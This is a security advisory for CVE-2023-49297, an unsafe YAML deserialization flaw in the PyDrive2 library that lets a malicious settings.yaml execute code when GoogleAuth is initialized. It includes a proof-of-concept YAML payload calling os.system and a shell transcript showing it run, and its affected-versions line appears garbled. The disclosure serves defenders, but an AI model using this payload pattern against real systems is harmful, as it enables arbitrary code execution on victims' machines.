Headline
CVE-2023-49297: Unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile
. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc
which is included in release version 1.16.2
. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Package
pip PyDrive2 (pip)
Affected versions
1.17.0, <= 1.16.1
Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.
Details
The loader being imported from the yaml library is CLoader:
from yaml import CLoader as Loader
This loader is then used to load a user supplied file:
def LoadSettingsFile(filename=SETTINGS_FILE):
"""Loads settings file in yaml format given file name.
:param filename: path for settings file. ‘settings.yaml’ by default.
:type filename: str.
:raises: SettingsError
“"”
try:
with open(filename) as stream:
data = load(stream, Loader=Loader)
except (YAMLError, OSError) as e:
raise SettingsError(e)
return data
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
SETTINGS_FILE = “settings.yaml”
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious settings.yaml file:
!!python/object/new:os.system [echo poc]
- Initialize a GoogleAuth object .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini [evan@ejedev PyDrive2]$ cat settings.yaml !!python/object/new:os.system [echo poc] [evan@ejedev PyDrive2]$ cat main.py from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
Related news
### Summary Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`. ### Details The loader being imported from the `yaml` library is `CLoader`: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5 This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121 CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur. https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9 Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-...